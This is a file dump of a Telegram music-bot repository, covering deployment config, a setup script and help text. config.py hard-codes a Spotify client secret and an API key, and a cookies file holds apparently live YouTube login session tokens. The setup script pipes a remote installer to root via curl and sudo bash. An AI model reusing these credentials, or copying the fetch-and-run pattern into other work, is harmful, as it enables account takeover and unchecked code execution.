SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "Procfile",
    "content": "worker: bash start\n"
  },
  {
    "path": "app.json",
    "content": "{\n    \"name\": \"⛦ 𝐁𝐫𝐚𝐧𝐝𝐫𝐝 𝐗 𝐌𝐮𝐬𝐢𝐜 ⛦\",\n    \"description\": \"A Telegram Music Player Bot, written in Python with Pyrogram and Py-Tgcalls.\",\n    \"logo\": \"https://te.legra.ph/file/62fa7c81c56c1ae31c844.jpg\",\n    \"keywords\": [\n    \"python3\",\n    \"telegram\",\n    \"bot\",\n    \"Brandrd\",\n    \"MusicBot\",\n    \"telegram-bot\",\n    \"pyrogram\"\n    ],\n    \"env\": {\n      \"API_ID\": {\n        \"description\": \"Get this value from https://my.telegram.org\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"API_HASH\": {\n        \"description\": \"Get this value from https://my.telegram.org\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"BOT_TOKEN\": {\n        \"description\": \"A Bot's token from Botfather\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"MONGO_DB_URI\": {\n        \"description\": \"Get a mongodb url from https://cloud.mongodb.com.\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"OWNER_ID\": {\n        \"description\": \"The user id of user whom you would like to add as OWNER.\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"STRING_SESSION\": {\n        \"description\": \"A Pyrogram v2 String Session from @BRANDEDSTRINGSESSION_BOT on Telegram.\",\n        \"value\": \"\",\n        \"required\": true\n      },\n      \"HEROKU_API_KEY\": {\n        \"description\": \"Your Heroku account's API key\",\n        \"value\": \"\",\n        \"required\": false\n      },\n      \"HEROKU_APP_NAME\": {\n        \"description\": \"Your heroku app name\",\n        \"value\": \"\",\n        \"required\": false\n      },\n      \"LOGGER_ID\": {\n        \"description\": \"Your Log Group ID, add your bot and promote as an admin with full rights!. Don't Add Channel's ID.\",\n        \"value\": \"\",\n        \"required\": true\n      }\n    },\n    \"buildpacks\": [\n          {\n              \"url\": \"heroku/python\"\n          },\n          {\n              \"url\": \"heroku/nodejs\"\n          },\n          {\n              \"url\": \"https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest.git\"\n          }\n      ],\n      \"stack\": \"container\"\n  }\n"
  },
  {
    "path": "config.py",
    "content": "import re\nimport os\nfrom os import getenv\n\nfrom dotenv import load_dotenv\nfrom pyrogram import filters\n\nload_dotenv()\n\n# Get this value from my.telegram.org/apps\nAPI_ID = int(getenv(\"API_ID\", None))\nAPI_HASH = getenv(\"API_HASH\", None)\n\n# Get your token from @BotFather on Telegram.\nBOT_TOKEN = getenv(\"BOT_TOKEN\", None)\n\n# Get your mongo url from cloud.mongodb.com\nMONGO_DB_URI = getenv(\"MONGO_DB_URI\", None)\nMUSIC_BOT_NAME = getenv(\"MUSIC_BOT_NAME\", None)\nPRIVATE_BOT_MODE = getenv(\"PRIVATE_BOT_MODE\", None)\n\nDURATION_LIMIT_MIN = int(getenv(\"DURATION_LIMIT\", 900))\n\n# Chat id of a group for logging bot's activities\nLOGGER_ID = int(getenv(\"LOGGER_ID\", None))\n\n# Get this value from @BRANDRD_ROBOT on Telegram by /id\nOWNER_ID = int(getenv(\"OWNER_ID\", \"7250012103\"))\n\nLOG = int(getenv(\"LOG\", True))\n\nAPI_URL = getenv(\"API_URL\", 'https://api.thequickearn.xyz')\nVIDEO_API_URL = getenv(\"VIDEO_API_URL\", 'https://api.video.thequickearn.xyz')\nAPI_KEY = getenv(\"API_KEY\", 'NxGBNexGenBots6c30dd')\n\n## Fill these variables if you're deploying on heroku.\n# Your heroku app name\nHEROKU_APP_NAME = getenv(\"HEROKU_APP_NAME\")\n# Get it from http://dashboard.heroku.com/account\nHEROKU_API_KEY = getenv(\"HEROKU_API_KEY\")\n\nUPSTREAM_REPO = getenv(\n    \"UPSTREAM_REPO\",\n    \"https://github.com/WCGKING/BrandrdXMusic\",\n)\nUPSTREAM_BRANCH = getenv(\"UPSTREAM_BRANCH\", \"main\")\nGIT_TOKEN = getenv(\n    \"GIT_TOKEN\", None\n)  # Fill this variable if your upstream repository is private\n\nSUPPORT_CHANNEL = getenv(\"SUPPORT_CHANNEL\", \"https://t.me/BRANDED_PAID_CC\")\nSUPPORT_CHAT = getenv(\"SUPPORT_CHAT\", \"https://t.me/BRANDED_WORLD\")\n\n# Set this to True if you want the assistant to automatically leave chats after an interval\nAUTO_LEAVING_ASSISTANT = bool(getenv(\"AUTO_LEAVING_ASSISTANT\", False))\n\n# Auto Gcast/Broadcast Handler (True = broadcast on , False = broadcast off During Hosting, Dont Do anything here.)\nAUTO_GCAST = os.getenv(\"AUTO_GCAST\")\n\n# Auto Broadcast Message That You Want Use In Auto Broadcast In All Groups.\nAUTO_GCAST_MSG = getenv(\"AUTO_GCAST_MSG\", \"\")\n\n# Get this credentials from https://developer.spotify.com/dashboard\nSPOTIFY_CLIENT_ID = getenv(\"SPOTIFY_CLIENT_ID\", \"bcfe26b0ebc3428882a0b5fb3e872473\")\nSPOTIFY_CLIENT_SECRET = getenv(\"SPOTIFY_CLIENT_SECRET\", \"907c6a054c214005aeae1fd752273cc4\")\n\n\n# Maximum limit for fetching playlist's track from youtube, spotify, apple links.\nSERVER_PLAYLIST_LIMIT = int(getenv(\"SERVER_PLAYLIST_LIMIT\", \"50\"))\nPLAYLIST_FETCH_LIMIT = int(getenv(\"PLAYLIST_FETCH_LIMIT\", \"25\"))\n\nSONG_DOWNLOAD_DURATION = int(getenv(\"SONG_DOWNLOAD_DURATION_LIMIT\", \"180\"))\nSONG_DOWNLOAD_DURATION_LIMIT = int(getenv(\"SONG_DOWNLOAD_DURATION_LIMIT\", \"2000\"))\n\n# Telegram audio and video file size limit (in bytes)\nTG_AUDIO_FILESIZE_LIMIT = int(getenv(\"TG_AUDIO_FILESIZE_LIMIT\", 104857600))\nTG_VIDEO_FILESIZE_LIMIT = int(getenv(\"TG_VIDEO_FILESIZE_LIMIT\", 1073741824))\n# Checkout https://www.gbmb.org/mb-to-bytes for converting mb to bytes\n\n\n# Get your pyrogram v2 session from @BRANDEDSTRINGSESSION_BOT on Telegram\nSTRING1 = getenv(\"STRING_SESSION\",  None)\nSTRING2 = getenv(\"STRING_SESSION2\", None)\nSTRING3 = getenv(\"STRING_SESSION3\", None)\nSTRING4 = getenv(\"STRING_SESSION4\", None)\nSTRING5 = getenv(\"STRING_SESSION5\", None)\n\n\nBANNED_USERS = filters.user()\nadminlist = {}\nlyrical = {}\nvotemode = {}\nautoclean = []\nconfirmer = {}\n\n\nSTART_IMG_URL = getenv(\n    \"START_IMG_URL\", \"https://files.catbox.moe/zuqgbn.jpg\"\n)\nPING_IMG_URL = getenv(\n    \"PING_IMG_URL\", \"https://files.catbox.moe/2ase3x.jpg\"\n)\nPLAYLIST_IMG_URL = \"https://te.legra.ph/file/14eb59ea7d31229d8d751.jpg\"\nSTATS_IMG_URL = \"https://te.legra.ph/file/4310ea5f523520b2b765b.jpg\"\nTELEGRAM_AUDIO_URL = \"https://te.legra.ph/file/923c1faac33d8c70335dc.jpg\"\nTELEGRAM_VIDEO_URL = \"https://te.legra.ph/file/6c66f8b192532fe758e82.jpg\"\nSTREAM_IMG_URL = \"https://te.legra.ph/file/ebc4dc6357be06e08a3ed.jpg\"\nSOUNCLOUD_IMG_URL = \"https://te.legra.ph/file/d339f390ec168c19879c6.jpg\"\nYOUTUBE_IMG_URL = \"https://te.legra.ph/file/ee0cd53ab73f08f4a3627.jpg\"\nSPOTIFY_ARTIST_IMG_URL = \"https://te.legra.ph/file/5f9fb5bba66021c782d96.jpg\"\nSPOTIFY_ALBUM_IMG_URL = \"https://te.legra.ph/file/affe0afec5c7ad63676a4.jpg\"\nSPOTIFY_PLAYLIST_IMG_URL = \"https://te.legra.ph/file/3c446e8dee78ed0ca62ff.jpg\"\n\n\ndef time_to_seconds(time):\n    stringt = str(time)\n    return sum(int(x) * 60**i for i, x in enumerate(reversed(stringt.split(\":\"))))\n\n\nDURATION_LIMIT = int(time_to_seconds(f\"{DURATION_LIMIT_MIN}:00\"))\n\n\nif SUPPORT_CHANNEL:\n    if not re.match(\"(?:http|https)://\", SUPPORT_CHANNEL):\n        raise SystemExit(\n            \"[ERROR] - Your SUPPORT_CHANNEL url is wrong. Please ensure that it starts with https://\"\n        )\n\nif SUPPORT_CHAT:\n    if not re.match(\"(?:http|https)://\", SUPPORT_CHAT):\n        raise SystemExit(\n            \"[ERROR] - Your SUPPORT_CHAT url is wrong. Please ensure that it starts with https://\"\n        )\n"
  },
  {
    "path": "cookies/BrandedXMusic.txt",
    "content": "# Netscape HTTP Cookie File\r\n# This is a generated file! Do not edit.\r\n\r\n# domain  include_subdomains  path  secure  expiration_date  name  value\r\n.youtube.com\tTRUE\t/\tTRUE\t1797169216\t__Secure-1PSIDCC\tAKEyXzUE8XsoANVtRbMh35hx_IHHhGkChbbryV7NlH92dazcHB09NJDikS70eaBRIAbv-b2FnA\r\n.youtube.com\tTRUE\t/\tTRUE\t0\tYSC\tl-HUJYK6j2I\r\n.youtube.com\tTRUE\t/\tTRUE\t1781185192\t__Secure-YNID\t14.YT=m7T20DUET9au0O3u8c__zltnsRRyCItbWYnUOYeu8XQbOjBB8rOfQNUnb2X5RuwsHi0ubvB-VintMSG0UtjxqgBm7PkwBXE0xawCQ9zUnOqAqmwT33lvbOP3qRqkNKjfuM3cco-wvk21Re6u5mzKjYRQZOVy1S_9sBbbCRU-BycU0r19CiuFszhO1QPfMsMcLkrrsqDFAnGZNAQ69HIaRTsWAoEh_4Nj2KmWlaUszpKbzE8L748wuQ_7Atn7yTowrvE7fWLeNFNoc3RzRsIm05fPqOTu4JwtAzLTP7LFLAWb7MbZrcwtufOQ-I7iGf80NBp6MGykAk-e71ddWmod3A\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\t__Secure-3PSID\tg.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkl0WOvQ0ZgB-Q26xZF-_AJAACgYKAbcSARQSFQHGX2MiTllPlHMjhA_X8tm6tsmNTxoVAUF8yKoro-a99XgVQjgvQOIL3Roh0076\r\n.youtube.com\tTRUE\t/\tTRUE\t1797169216\t__Secure-3PSIDCC\tAKEyXzXgxLCNxZi5Qkomb8YpTBtsKAFcJZFW_5eh1_0fWybElcx1wZQ2rxkfIOi5JaaaJoUr\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\t__Secure-1PSID\tg.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkmyxrGLPrBBorX3fpepnlLAACgYKAcISARQSFQHGX2Miv3u90Lmg7E3lKmuen4rclBoVAUF8yKojRbqwWuQrmWO6v71cGhJs0076\r\n.youtube.com\tTRUE\t/\tFALSE\t1799736104\tSID\tg.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkZ1YemOk3GyCkR2zfhuBFiQACgYKAecSARQSFQHGX2Mi3dTGYMyhQBqya6C4tBFsSxoVAUF8yKoWnsFgaXK2vZ5GJRfDltaQ0076\r\n.youtube.com\tTRUE\t/\tFALSE\t1797169216\tSIDCC\tAKEyXzUXIuE8dKGUne5pjsH39dAVSMd2HGSszWlGOMooPUq9js-ZUmo_8ZAC9e0J0K71iNKi\r\n.youtube.com\tTRUE\t/\tTRUE\t1793269258\tLOGIN_INFO\tAFmmF2swRgIhAKztKYXp3BkmKhYV70u3Mu0VCE_bGRYblRGGSiZrnDhfAiEAhKd58aon6SxDYFlD_tmEEf_eLJo002v1IyLgLapXQUY:QUQ3MjNmeXRRc3ZsZUtXQmhOWVNrbjhYYXQ2TVd4Z0RqeF9mV2JLUG5rdkxfSExNSXFoUkNoN3R5dENCVWo5V01DNF9mYUlGM1NZRVkyN0lUUVZLZWtOa3A0RXQwTU1xZTAwYjlwZFBkdEtqWlBOY0xPWFRHZkZIdFFXLU9BWUdocFZmY1VQOURsUDRpMVhHeDg1aGg0UXhmaWZoT2ZaYkxB\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\t__Secure-1PAPISID\t_dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI\r\n.youtube.com\tTRUE\t/\tFALSE\t1799736104\tAPISID\t0qCa16FC8YVhrvys/APuioFNuh6FLlmcHb\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\t__Secure-3PAPISID\t_dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\tSSID\tAAkDRoUaAU540SBoW\r\n.youtube.com\tTRUE\t/\tTRUE\t1800193197\tPREF\ttz=Asia.Calcutta&f7=100\r\n.youtube.com\tTRUE\t/\tFALSE\t1799736104\tHSID\tAetwVtVIcsiOueC92\r\n.youtube.com\tTRUE\t/\tTRUE\t1790245255\t__Secure-1PSIDTS\tsidts-CjQBmkD5S49ZihnhM-S5coHMTDOv4Q5552vGnc2IbkcPtPtXPLzv--bK2OJFhNJtLJtxGe5UEAA\r\n.youtube.com\tTRUE\t/\tTRUE\t1799736104\tSAPISID\t_dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI\r\n.youtube.com\tTRUE\t/\tTRUE\t1781185192\tVISITOR_INFO1_LIVE\tbtyA3zWNXrw\r\n.youtube.com\tTRUE\t/\tTRUE\t1781185192\t__Secure-ROLLOUT_TOKEN\tCNvtg8DS7JjaORDT-bfz6a-PAxjt4fOZ2LqRAw%3D%3D\r\n.youtube.com\tTRUE\t/\tTRUE\t1790245255\t__Secure-3PSIDTS\tsidts-CjQBmkD5S49ZihnhM-S5coHMTDOv4Q5552vGnc2IbkcPtPtXPLzv--bK2OJFhNJtLJtxGe5UEAA\r\n.youtube.com\tTRUE\t/\tTRUE\t1781185192\tVISITOR_PRIVACY_METADATA\tCgJJThIEGgAgHA%3D%3D\r\n"
  },
  {
    "path": "heroku.yml",
    "content": "build:\n  docker:\n    worker: Dockerfile\nrun:\n  worker: bash start\n"
  },
  {
    "path": "requirements.txt",
    "content": "opencv-python-headless==4.10.0.84\ntelethon==1.36.0\naiofiles\napscheduler\naiohttp==3.10.11\nasyncio==3.4.3\ngTTS\ndnspython==2.6.1\nhachoir\nheroku3\nmotor==3.4.0\npymongo==4.5.0\npillow==10.4.0\npsutil\nwget\nqrcode\nfuture==0.14.0\nsearch_engine_parser\nspeedtest\npy-tgcalls==1.2.9\nMukeshAPI\nntgcalls==1.1.2\ngitpython\npykeyboard\npython-dotenv\npyyaml==6.0.2\ntgcrypto\ntelegraph==2.2.0\nyt-dlp\nlexica-api==1.5.9\nhttpx==0.27.0\nopenai==1.41.0\nlyricsgenius==3.0.0\nspotipy\nSafoneAPI\nyoutube_search\nyoutube-search-python\ngooglesearch-python\nunidecode\n#git+https://github.com/joetats/youtube_search@master\n#git+https://github.com/alexmercerind/youtube-search-python@main\nhttps://github.com/KurimuzonAkuma/pyrogram/archive/v2.1.23.zip\nbing_image_downloader\n"
  },
  {
    "path": "runtime.txt",
    "content": "python-3.11.4\n"
  },
  {
    "path": "sample.env",
    "content": "API_ID= \nAPI_HASH=\nBOT_TOKEN=\nMONGO_DB_URI=\nLOGGER_ID=-\nOWNER_ID=\nSTRING_SESSION=\n"
  },
  {
    "path": "setup",
    "content": "#!/bin/bash\n\npprint (){\n\tcred='\\033[0;31m'\n\tcgreen='\\033[0;32m'\n\tcyellow='\\033[0;33m'\n\tcblue='\\033[0;34m'\n\tcpurple='\\033[0;35m'\n\teval \"export color='$cpurple'\"\n\t[ ! -z $2 ] && eval \"export color=\\\"\\$$2\\\"\"\n    printf \"$color $1\"\n}\n\ncolor_reset(){ printf '\\033[0;37m';}\n\nyesnoprompt(){\n\told_stty_cfg=$(stty -g)\n\tstty raw -echo ; answer=$(head -c 1)\n\tstty $old_stty_cfg\n\techo \"$answer\" | grep -iq \"^y\"\n}\n\nupdate() {\n\tpprint \"\\n\\nUpdating package list.. \"\n\tsudo apt update 2>&1 | grep \"can be upgraded\" &>/dev/null\n\tif [ $? -eq 0 ]; then\n\t\tpprint \"UPDATE AVAILABLE\" \"cgreen\"\n\t\tpprint \"\\n\\nDo you want to automatically upgrade (y/n)?\"\n\t\tif yesnoprompt; then\n\t\t\tpprint \"\\n\\nUpgrading packages.. \"\n\t\t\tsudo apt upgrade -y &>/dev/null &&\n\t\t\tpprint \"DONE!\\n\\n\" \"cgreen\" || (pprint \"FAIL.\\n\\n\" \"cred\"; exit 1)\n\t\telse\n\t\t\techo\n\t\tfi\n\telse\n\t\tpprint \"ALREADY UP TO DATE\\n\\n\" \"cgreen\"\n\tfi\n}\n\npackages(){\n\tif ! command -v pip &>/dev/null; then\n\t\tpprint \"Couldn't found pip, installing now...\"\n\t\tsudo apt install python3-pip -y 2>pypilog.txt 1>/dev/null &&\n\t\tpprint \"SUCCESS.\\n\\n\" \"cgreen\" || (pprint \"FAIL.\\n\\n\" \"cred\"; exit 1)\n\tfi\n\n\tif ! command -v ffmpeg &>/dev/null; then\n\t\tpprint \"Couldn't found ffmpeg, installing now...\"\n\t\tif sudo apt install ffmpeg -y &>/dev/null;then\n\t\t\tpprint \"SUCCESS.\\n\\n\" \"cgreen\"\n\t\telse\n\t\t\tpprint \"FAIL.\\n\\n\" \"cred\"\n\t\t\tpprint \"You need to install ffmpeg manually in order to deploy BrandrdXMusic, exiting...\\n\" \"cblue\"\n\t\t\texit 1\n\t\tfi\n\tfi\n\n\t# Check ffmpeg version and warn user if necessary.\n\tfv=$(grep -Po 'version (3.*?) ' <<< $(ffmpeg -version)) &&\n\tpprint \"Playing live streams not going to work since you have ffmpeg $fv, live streams are supported by version 4+.\\n\" \"cblue\"\n}\n\n\nnode(){\n\tcommand -v npm &>/dev/null && return\n\tpprint \"Installing Nodejs and Npm..  \"\n\tcurl -fssL https://deb.nodesource.com/setup_19.x | sudo -E bash - &>nodelog.txt &&\n\tsudo apt install -y nodejs &>>nodelog.txt &&\n\tsudo npm i -g npm &>>nodelog.txt &&\n\tpprint \"SUCCESS!\\n\" \"cgreen\" || (pprint \"FAIL.\\n\" \"cred\"; exit 1)\n}\n\n\ninstallation(){\n\tpprint \"\\n\\nUpgrading pip and installing dependency packages...\"\n\tpip3 install -U pip &>>pypilog.txt &&\n\tpip3 install -U -r requirements.txt &>>pypilog.txt &&\n\tpprint \"DONE.\\n\" \"cgreen\" && return\n\tpprint \"FAIL.\\n\" \"cred\"\n\texit 1\n}\n\nclear\npprint \"Welcome to BrandrdXMusic Setup Installer\\n\\n\"\npprint \"If you see any error during Installation Process, Please refer to these files for logs: \"\npprint \"\\nFor node js errors , Checkout nodelog.txt\"\npprint \"\\nFor pypi packages errors , Checkout pypilog.txt\"\nsleep 1\npprint \"\\n\\nScript needs sudo privileges in order to update & install packages.\\n\"\nsudo test\n\nupdate\npackages\nnode\ninstallation\npprint \"\\n\\n\\n\\n\\nWCGKING Installation Completed !\" \"cgreen\"\nsleep 1\nclear\n\npprint \"\\nEnter Your Values Below\\n\\n\\n\"\npprint \"API ID: \"; color_reset; read api_id\npprint \"\\nAPI HASH: \"; color_reset; read api_hash\npprint \"\\nBOT TOKEN: \"; color_reset; read bot_token\npprint \"\\nOWNER ID:\"; color_reset; read ownid\npprint \"\\nMONGO DB URI: \"; color_reset; read mongo_db\npprint \"\\nLOG GROUP ID: \"; color_reset; read logger\npprint \"\\nSTRING SESSION: \"; color_reset; read string_session\n\npprint \"\\n\\nProcessing your vars, wait a while !\" \"cgreen\"\n\nif [ -f .env ]; then\n\trm .env\nfi\n\necho \"\"\"API_ID = $api_id\nAPI_HASH = $api_hash\nBOT_TOKEN = $bot_token\nMONGO_DB_URI = $mongo_db\nLOGGER_ID = $logger\nSTRING_SESSION = $string_session\nOWNER_ID = $ownid\"\"\" > .env\nclear\n\npprint \"\\n\\n\\nThanks for using BrandrdXMusic installer, your vars have been saved successfully ! \\nIf you wanna add more variables add them in your env by : vi .env\"\npprint \"\\n\\nNow you can start the bot by : bash start\\n\\n\"\n"
  },
  {
    "path": "start",
    "content": "python3 -m BrandrdXMusic\n"
  },
  {
    "path": "strings/__init__.py",
    "content": "import os\nfrom typing import List\n\nimport yaml\n\nLOGGERS = \"Branded_king__robot\"\n\nlanguages = {}\nlanguages_present = {}\n\n\ndef get_string(lang: str):\n    return languages[lang]\n\n\nfor filename in os.listdir(r\"./strings/langs/\"):\n    if \"en\" not in languages:\n        languages[\"en\"] = yaml.safe_load(\n            open(r\"./strings/langs/en.yml\", encoding=\"utf8\")\n        )\n        languages_present[\"en\"] = languages[\"en\"][\"name\"]\n    if filename.endswith(\".yml\"):\n        language_name = filename[:-4]\n        if language_name == \"en\":\n            continue\n        languages[language_name] = yaml.safe_load(\n            open(r\"./strings/langs/\" + filename, encoding=\"utf8\")\n        )\n        for item in languages[\"en\"]:\n            if item not in languages[language_name]:\n                languages[language_name][item] = languages[\"en\"][item]\n    try:\n        languages_present[language_name] = languages[language_name][\"name\"]\n    except:\n        print(\"There is some issue with the language file inside bot.\")\n        exit()\n"
  },
  {
    "path": "strings/helpers.py",
    "content": "HELP_1 = \"\"\"<b><u>ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs :</b></u>\n\nᴊᴜsᴛ ᴀᴅᴅ <b>ᴄ</b> ɪɴ ᴛʜᴇ sᴛᴀʀᴛɪɴɢ ᴏғ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜsᴇ ᴛʜᴇᴍ ғᴏʀ ᴄʜᴀɴɴᴇʟ.\n\n\n/pause : ᴩᴀᴜsᴇ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ.\n\n/resume : ʀᴇsᴜᴍᴇ ᴛʜᴇ ᴩᴀᴜsᴇᴅ sᴛʀᴇᴀᴍ.\n\n/skip : sᴋɪᴩ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ ᴀɴᴅ sᴛᴀʀᴛ sᴛʀᴇᴀᴍɪɴɢ ᴛʜᴇ ɴᴇxᴛ ᴛʀᴀᴄᴋ ɪɴ ǫᴜᴇᴜᴇ.\n\n/end ᴏʀ /stop : ᴄʟᴇᴀʀs ᴛʜᴇ ǫᴜᴇᴜᴇ ᴀɴᴅ ᴇɴᴅ ᴛʜᴇ ᴄᴜʀʀᴇɴᴛ ᴩʟᴀʏɪɴɢ sᴛʀᴇᴀᴍ.\n\n/player : ɢᴇᴛ ᴀ ɪɴᴛᴇʀᴀᴄᴛɪᴠᴇ ᴩʟᴀʏᴇʀ ᴩᴀɴᴇʟ.\n\n/queue : sʜᴏᴡs ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs ʟɪsᴛ.\n\n/lyrics [sᴏɴɢ ɴᴀᴍᴇ] : sᴇᴀʀᴄʜ ʟʏʀɪᴄs ғᴏʀ ᴛʜᴇ ʀᴇǫᴜᴇsᴛᴇᴅ sᴏɴɢ ᴀɴᴅ sᴇɴᴅ ᴛʜᴇ ʀᴇsᴜʟᴛs.\n\"\"\"\n\nHELP_2 = \"\"\"\n<b><u>ᴀᴜᴛʜ ᴜsᴇʀs :</b></u>\n\nᴀᴜᴛʜ ᴜsᴇʀs ᴄᴀɴ ᴜsᴇ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɪɴ ᴛʜᴇ ʙᴏᴛ ᴡɪᴛʜᴏᴜᴛ ᴀᴅᴍɪɴ ʀɪɢʜᴛs ɪɴ ᴛʜᴇ ᴄʜᴀᴛ.\n\n/auth [ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ] : ᴀᴅᴅ ᴀ ᴜsᴇʀ ᴛᴏ ᴀᴜᴛʜ ʟɪsᴛ ᴏғ ᴛʜᴇ ʙᴏᴛ.\n/unauth [ᴜsᴇʀɴᴀᴍᴇ/ᴜsᴇʀ_ɪᴅ] : ʀᴇᴍᴏᴠᴇ ᴀ ᴀᴜᴛʜ ᴜsᴇʀs ғʀᴏᴍ ᴛʜᴇ ᴀᴜᴛʜ ᴜsᴇʀs ʟɪsᴛ.\n/authusers : sʜᴏᴡs ᴛʜᴇ ʟɪsᴛ ᴏғ ᴀᴜᴛʜ ᴜsᴇʀs ᴏғ ᴛʜᴇ ɢʀᴏᴜᴩ.\n\"\"\"\n\nHELP_3 = \"\"\"\n<u><b>ʙʀᴏᴀᴅᴄᴀsᴛ ғᴇᴀᴛᴜʀᴇ</b></u> [ᴏɴʟʏ ғᴏʀ sᴜᴅᴏᴇʀs] :\n\n/broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴩʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ] : ʙʀᴏᴀᴅᴄᴀsᴛ ᴀ ᴍᴇssᴀɢᴇ ᴛᴏ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴏғ ᴛʜᴇ ʙᴏᴛ.\n\n<u>ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ ᴍᴏᴅᴇs :</u>\n<b>-pin</b> : ᴩɪɴs ʏᴏᴜʀ ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇs ɪɴ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs.\n<b>-pinloud</b> : ᴩɪɴs ʏᴏᴜʀ ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ɪɴ sᴇʀᴠᴇᴅ ᴄʜᴀᴛs ᴀɴᴅ sᴇɴᴅ ɴᴏᴛɪғɪᴄᴀᴛɪᴏɴ ᴛᴏ ᴛʜᴇ ᴍᴇᴍʙᴇʀs.\n<b>-user</b> : ʙʀᴏᴀᴅᴄᴀsᴛs ᴛʜᴇ ᴍᴇssᴀɢᴇ ᴛᴏ ᴛʜᴇ ᴜsᴇʀs ᴡʜᴏ ʜᴀᴠᴇ sᴛᴀʀᴛᴇᴅ ʏᴏᴜʀ ʙᴏᴛ.\n<b>-assistant</b> : ʙʀᴏᴀᴅᴄᴀsᴛ ʏᴏᴜʀ ᴍᴇssᴀɢᴇ ғʀᴏᴍ ᴛʜᴇ ᴀssɪᴛᴀɴᴛ ᴀᴄᴄᴏᴜɴᴛ ᴏғ ᴛʜᴇ ʙᴏᴛ.\n<b>-nobot</b> : ғᴏʀᴄᴇs ᴛʜᴇ ʙᴏᴛ ᴛᴏ ɴᴏᴛ ʙʀᴏᴀᴅᴄᴀsᴛ ᴛʜᴇ ᴍᴇssᴀɢᴇ..\n\n<b>ᴇxᴀᴍᴩʟᴇ:</b> <code>/broadcast -user -assistant -pin ᴛᴇsᴛɪɴɢ ʙʀᴏᴀᴅᴄᴀsᴛ</code>\n\"\"\"\n\nHELP_4 = \"\"\"<u><b>ᴄʜᴀᴛ ʙʟᴀᴄᴋʟɪsᴛ ғᴇᴀᴛᴜʀᴇ :</b></u> [ᴏɴʟʏ ғᴏʀ 